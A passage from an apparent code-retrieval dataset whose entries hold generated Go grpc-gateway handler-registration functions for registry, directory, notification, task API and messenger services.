err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_LogDatasetsInModelVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_LogCodeBlobInModelVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_LogCodeBlobInModelVersion_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_LogCodeBlobInModelVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_LogAttributesInModelVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_LogAttributesInModelVersion_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_LogAttributesInModelVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_LogDockerMetadataInModelVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_LogDockerMetadataInModelVersion_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_LogDockerMetadataInModelVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_RegistryService_GetExternalDeployment_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_GetExternalDeployment_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_GetExternalDeployment_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_CreateExternalDeployment_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_CreateExternalDeployment_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_CreateExternalDeployment_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_RegistryService_UpdateExternalDeployment_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_UpdateExternalDeployment_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateExternalDeployment_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_RegistryService_DeleteExternalDeployment_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_DeleteExternalDeployment_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_DeleteExternalDeployment_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "4294368cd27cae6c1054d9dabea99c84", "score": "0.6586394", "text": "func RegisterDirectoryServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server DirectoryServiceServer) error {\n\n\tmux.Handle(\"GET\", pattern_DirectoryService_List_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DirectoryService_List_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DirectoryService_List_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "38f55f21c82f6c4a38d01efe01552ff2", "score": "0.6567192", "text": "func RegisterNotificationServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server NotificationServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_NotificationService_SendEvent_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_NotificationService_SendEvent_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_NotificationService_SendEvent_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_NotificationService_ListEvents_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_NotificationService_ListEvents_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_NotificationService_ListEvents_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_NotificationService_ListAllEvents_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_NotificationService_ListAllEvents_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_NotificationService_ListAllEvents_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_NotificationService_Notify_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_NotificationService_Notify_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_NotificationService_Notify_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_NotificationService_ListMembers_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_NotificationService_ListMembers_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_NotificationService_ListMembers_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_NotificationService_NotifyNewMember_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_NotificationService_NotifyNewMember_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_NotificationService_NotifyNewMember_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_NotificationService_GetLatestVersionByKey_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_NotificationService_GetLatestVersionByKey_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_NotificationService_GetLatestVersionByKey_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "ac30801284ffa22d6048252dca5dc1bb", "score": "0.6547666", "text": "func RegisterAPIHandlerServer(ctx context.Context, mux *runtime.ServeMux, server APIServer, opts []grpc.DialOption) error {\n\n\tmux.Handle(\"GET\", pattern_API_Healthz_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_API_Healthz_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_API_Healthz_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_API_PushTask_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_API_PushTask_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_API_PushTask_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_API_HeartBeat_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_API_HeartBeat_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_API_HeartBeat_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_API_Complete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_API_Complete_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_API_Complete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_API_Progress_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_API_Progress_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_API_Progress_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_API_Peek_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_API_Peek_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_API_Peek_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "d4479336160eaa84dda34d37cd463c41", "score": "0.6507738", "text": "func (is *IdentityServer) RegisterHandlers(s *runtime.ServeMux, conn *grpc.ClientConn) {\n\tttnpb.RegisterIsHandler(is.Context(), s, conn)\n\tttnpb.RegisterEntityAccessHandler(is.Context(), s, conn)\n\tttnpb.RegisterApplicationRegistryHandler(is.Context(), s, conn)\n\tttnpb.RegisterApplicationAccessHandler(is.Context(), s, conn)\n\tttnpb.RegisterClientRegistryHandler(is.Context(), s, conn)\n\tttnpb.RegisterClientAccessHandler(is.Context(), s, conn)\n\tttnpb.RegisterEndDeviceRegistryHandler(is.Context(), s, conn)\n\tttnpb.RegisterGatewayRegistryHandler(is.Context(), s, conn)\n\tttnpb.RegisterGatewayAccessHandler(is.Context(), s, conn)\n\tttnpb.RegisterGatewayBatchRegistryHandler(is.Context(), s, conn) // nolint:errcheck\n\tttnpb.RegisterGatewayBatchAccessHandler(is.Context(), s, conn) // nolint:errcheck\n\tttnpb.RegisterOrganizationRegistryHandler(is.Context(), s, conn)\n\tttnpb.RegisterOrganizationAccessHandler(is.Context(), s, conn)\n\tttnpb.RegisterUserRegistryHandler(is.Context(), s, conn)\n\tttnpb.RegisterUserAccessHandler(is.Context(), s, conn)\n\tttnpb.RegisterUserSessionRegistryHandler(is.Context(), s, conn)\n\tttnpb.RegisterUserInvitationRegistryHandler(is.Context(), s, conn)\n\tttnpb.RegisterEntityRegistrySearchHandler(is.Context(), s, conn)\n\tttnpb.RegisterEndDeviceRegistrySearchHandler(is.Context(), s, conn)\n\tttnpb.RegisterOAuthAuthorizationRegistryHandler(is.Context(), s, conn)\n\tttnpb.RegisterContactInfoRegistryHandler(is.Context(), s, conn)\n\tttnpb.RegisterNotificationServiceHandler(is.Context(), s, conn)\n\tttnpb.RegisterEndDeviceBatchRegistryHandler(is.Context(), s, conn) // nolint:errcheck\n}", "title": "" }, { "docid": "d440d9ee956efa6ff2dfe6590b284424", "score": "0.65046084", "text": "func RegisterMessengerServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server MessengerServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_MessengerService_InstanceShareableBertyID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_InstanceShareableBertyID_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_InstanceShareableBertyID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_ShareableBertyGroup_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_ShareableBertyGroup_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_ShareableBertyGroup_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_DevShareInstanceBertyID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_DevShareInstanceBertyID_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_DevShareInstanceBertyID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_DevStreamLogs_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\terr := status.Error(codes.Unimplemented, \"streaming calls are not yet supported in the in-process transport\")\n\t\t_, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\treturn\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_ParseDeepLink_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_ParseDeepLink_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, 